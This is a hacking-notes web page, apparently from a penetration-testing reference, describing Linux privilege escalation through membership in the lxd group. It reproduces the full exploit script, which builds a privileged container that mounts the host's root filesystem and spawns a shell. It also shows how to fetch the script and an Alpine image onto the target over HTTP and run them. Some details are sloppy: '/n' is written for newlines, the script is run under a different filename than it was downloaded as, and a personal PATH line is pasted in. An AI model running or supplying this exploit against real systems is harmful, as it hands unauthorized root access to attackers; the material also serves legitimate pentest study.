> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/user-groups/lxd-group-linux-privilege-escalation.md).
# lxd Group Abuse - Linux Privilege Escalation
User Group (lxd) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Dangerous local group memberships can expose privileged resources without requiring a kernel exploit. Groups such as docker, lxd, adm, or proxy may grant host control, sensitive log access, or configuration paths useful for lateral movement and root escalation. This specific page focuses on **User Group (lxd)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
id
groups
```
## Examples
### LXD Exploitation:
**Identification of `ash` user membership in the `lxd` group**:
By checking the groups to which the user `ash` belongs, we note that he is part of the `lxd` group, which allows LXC abuse to obtain root privileges.
**Download and prepare the operation**:
Use `searchsploit` to obtain the exploit script for the LXC vulnerability (CVE-2020-16941)
This script exploits the LXC vulnerability to execute commands with elevated privileges.
**Exploit script content (46978.sh):**
#!/usr/bin/env bash
function helpPanel(){
echo -e "/nUsage:"
echo -e "/t[-f] Filename (.tar.gz alpine file)"
echo -e "/t[-h] Show this help panel/n"
exit 1
}
function createContainer(){
lxc image import $filename --alias alpine && lxd init --auto
echo -e "[*] Listing images.../n" && lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
cleanup
}
function cleanup(){
echo -en "/n[*] Removing container..."
lxc stop privesc && lxc delete privesc && lxc image delete alpine
echo " [√]"
}
set -o nounset
set -o errexit
declare -i parameter_enable=0; while getopts ":f:h:" arg; do
case $arg in
f) filename=$OPTARG && let parameter_enable+=1;;
h) helpPanel;;
esac
done
if [ $parameter_enable -ne 1 ]; then
helpPanel
else
createContainer
fi
* The script creates an elevated LXC container and provides root access on the target machine.
**Download Alpine image file and script:**
Close the restitory containing the files needed for the operation and transfer them to your machine via a local HTTP server.
```bash
git clone https://github.com/saghul/lxd-alpine-builder
```
Start a local HTTP server to serve the file and script
```bash
python3 -m http.server 80
```
On your target machine, download the script and image file:
```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```
\*\* PATH Update\*\*:
Adapt the `PATH` to ensure that the LXC commands are correctly interpreted.
```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```
**Operating script execution**
Run the script with the downloaded Alpine image file to exploit the vulnerability and get a root shell:
```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```
To get out of the container, just go to the `/mnt/root` directory.
---
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